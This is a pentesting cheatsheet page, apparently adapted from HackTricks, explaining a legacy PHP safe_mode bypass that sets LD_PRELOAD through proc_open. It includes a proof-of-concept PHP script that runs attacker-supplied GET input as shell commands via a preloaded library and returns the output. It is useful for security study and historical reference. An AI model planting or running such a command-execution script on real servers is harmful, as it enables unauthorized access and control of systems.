daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

disable-functions-bypass-php-safe-mode-bypass-via-proc-open-and-custom-environment-exploit.md (3162B)


      1 ---
      2 title: "Legacy PHP safemode bypass via procopen and a custom environment"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Legacy PHP `safe_mode` bypass via `proc_open` and a custom environment
     14 
     15 This historical Linux technique uses the environment argument of `proc_open()` to set `LD_PRELOAD` for a child process. The preloaded shared library hooks a function invoked during process startup and runs a command outside PHP's former `safe_mode` restrictions. It requires a writable directory, an enabled `proc_open()`, and a shared library compiled for the target platform.<sup>[[1]](#references)</sup> The fifth argument to `proc_open()` supplies the child process's environment.<sup>[[2]](#references)</sup> PHP removed `safe_mode` in version 5.4, so treat this as a legacy technique rather than a general `disable_functions` bypass.<sup>[[3]](#references)</sup>
     16 
     17 The PHP portion of the original proof of concept writes the requested command to `.comm`, starts a child with the malicious library preloaded, and then reads the captured output:<sup>[[1]](#references)</sup>
     18 
     19 ```php
     20 <?php
     21 $path = "/var/www"; // Change to a writable path.
     22 
     23 $commandFile = fopen($path . "/.comm", "w");
     24 fputs($commandFile, $_GET["c"]);
     25 fclose($commandFile);
     26 
     27 $descriptorSpec = [
     28     0 => ["pipe", "r"],
     29     1 => ["file", $path . "/output.txt", "w"],
     30     2 => ["file", $path . "/errors.txt", "a"],
     31 ];
     32 
     33 $environment = ["LD_PRELOAD" => $path . "/a.so"];
     34 $process = proc_open("id > /tmp/a", $descriptorSpec, $pipes, ".", $environment);
     35 
     36 sleep(1);
     37 $output = fopen($path . "/.comm1", "r");
     38 echo "<pre><b>";
     39 while (!feof($output)) {
     40     echo fgets($output);
     41 }
     42 fclose($output);
     43 echo "</b></pre>";
     44 ?>
     45 ```
     46 
     47 The trigger command itself is not the important part and is expected to be blocked or fail in the original scenario. On the affected setup, `proc_open()` first starts `/bin/sh -c`; the dynamic loader processes `LD_PRELOAD` while loading the shell, and the preloaded `getuid()` hook executes the command stored in `.comm` before the shell finishes handling the trigger. The hook then moves the captured output to `.comm1` for the PHP script to read.<sup>[[1]](#references)</sup>
     48 
     49 ## References
     50 
     51 - [1] [Bugtraq - PHP `safe_mode` can be bypassed via `proc_open()` and a custom environment](https://seclists.org/bugtraq/2008/Dec/89)
     52 - [2] [PHP manual - `proc_open`](https://www.php.net/manual/en/function.proc-open.php)
     53 - [3] [PHP - PHP 5.4.0 release announcement](https://www.php.net/releases/5_4_0.php)